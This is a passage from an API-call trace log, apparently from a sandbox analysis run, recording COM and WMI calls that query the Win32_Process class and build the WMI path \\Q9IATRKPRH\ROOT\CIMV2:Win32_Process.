varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0065.404] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0065.404] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0065.404] IWbemClassObject:Get (in: This=0x1bf453f0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0065.404] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0065.405] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0065.405] IWbemClassObject:Get (in: This=0x1bf453f0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0065.405] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0065.405] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0065.405] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0065.405] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0065.405] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0065.405] IUnknown:Release (This=0x111f638) returned 0x1 [0065.407] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f95d0) returned 0x0 [0065.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f95d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0065.408] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f95d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3b700) returned 0x0 [0065.408] WbemDefPath:IUnknown:Release (This=0x11f95d0) returned 0x0 [0065.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3b700) returned 0x0 [0065.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0065.408] WbemDefPath:IUnknown:AddRef (This=0x1bf3b700) returned 0x3 [0065.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0065.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0065.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f9610) returned 0x0 [0065.408] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f9610, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.408] WbemDefPath:IUnknown:Release (This=0x11f9610) returned 0x3 [0065.408] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0065.408] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0065.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0065.408] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x2 [0065.409] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x1 [0065.409] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0065.409] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0065.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3b700) returned 0x0 [0065.409] WbemDefPath:IUnknown:AddRef (This=0x1bf3b700) returned 0x3 [0065.409] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x2 [0065.409] WbemDefPath:IWbemPath:SetText (This=0x1bf3b700, uMode=0x4, pszPath="") returned 0x0 [0065.409] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0065.409] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0065.409] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0065.409] IUnknown:Release (This=0x111f638) returned 0x1 [0065.411] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f95d0) returned 0x0 [0065.411] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f95d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0065.411] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f95d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3b7c0) returned 0x0 [0065.411] WbemDefPath:IUnknown:Release (This=0x11f95d0) returned 0x0 [0065.411] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3b7c0) returned 0x0 [0065.411] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0065.411] WbemDefPath:IUnknown:AddRef (This=0x1bf3b7c0) returned 0x3 [0065.411] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0065.411] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0065.412] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f9650) returned 0x0 [0065.412] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f9650, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.412] WbemDefPath:IUnknown:Release (This=0x11f9650) returned 0x3 [0065.412] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0065.412] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0065.412] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0065.412] WbemDefPath:IUnknown:Release (This=0x1bf3b7c0) returned 0x2 [0065.412] WbemDefPath:IUnknown:Release (This=0x1bf3b7c0) returned 0x1 [0065.412] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0065.412] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0065.412] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3b7c0) returned 0x0 [0065.412] WbemDefPath:IUnknown:AddRef (This=0x1bf3b7c0) returned 0x3 [0065.412] WbemDefPath:IUnknown:Release (This=0x1bf3b7c0) returned 0x2 [0065.412] WbemDefPath:IWbemPath:SetText (This=0x1bf3b7c0, uMode=0x4, pszPath="") returned 0x0 [0065.412] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b7c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0065.412] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b700, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0065.412] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3b7c0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0065.412] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b7c0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0065.412] WbemDefPath:IWbemPath:SetServer (This=0x1bf3b7c0, Name="Q9IATRKPRH") returned 0x0 [0065.412] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0065.412] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0065.413] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0065.413] IUnknown:Release (This=0x111f638) returned 0x1 [0065.414] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f9670) returned 0x0 [0065.414] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f9670, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0065.414] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f9670, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3b880) returned 0x0 [0065.414] WbemDefPath:IUnknown:Release (This=0x11f9670) returned 0x0 [0065.414] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b880, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3b880) returned 0x0 [0065.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b880, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0065.415] WbemDefPath:IUnknown:AddRef (This=0x1bf3b880) returned 0x3 [0065.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b880, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0065.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b880, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0065.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b880, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f96b0) returned 0x0 [0065.415] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f96b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.415] WbemDefPath:IUnknown:Release (This=0x11f96b0) returned 0x3 [0065.415] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0065.415] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0065.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b880, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0065.415] WbemDefPath:IUnknown:Release (This=0x1bf3b880) returned 0x2 [0065.415] WbemDefPath:IUnknown:Release (This=0x1bf3b880) returned 0x1 [0065.415] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0065.415] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0065.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b880, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3b880) returned 0x0 [0065.416] WbemDefPath:IUnknown:AddRef (This=0x1bf3b880) returned 0x3 [0065.416] WbemDefPath:IUnknown:Release (This=0x1bf3b880) returned 0x2 [0065.416] WbemDefPath:IWbemPath:SetText (This=0x1bf3b880, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b7c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b880, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0065.416] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3b7c0) returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b880, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b880, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b880, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0065.416] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3b7c0, uIndex=0x0, pszName="ROOT") returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b880, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b880, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0065.416] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3b7c0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3b7c0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0065.416] WbemDefPath:IWbemPath:SetClassName (This=0x1bf3b7c0, Name="Win32_Process") returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b7c0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b7c0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b7c0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b7c0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0065.416] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b7c0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0065.417] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b7c0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0065.417] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b7c0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0065.417] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b7c0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0065.417] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b580, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0065.417] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0065.417] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0065.417] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b7c0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0065.417] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b7c0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0065.417] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: 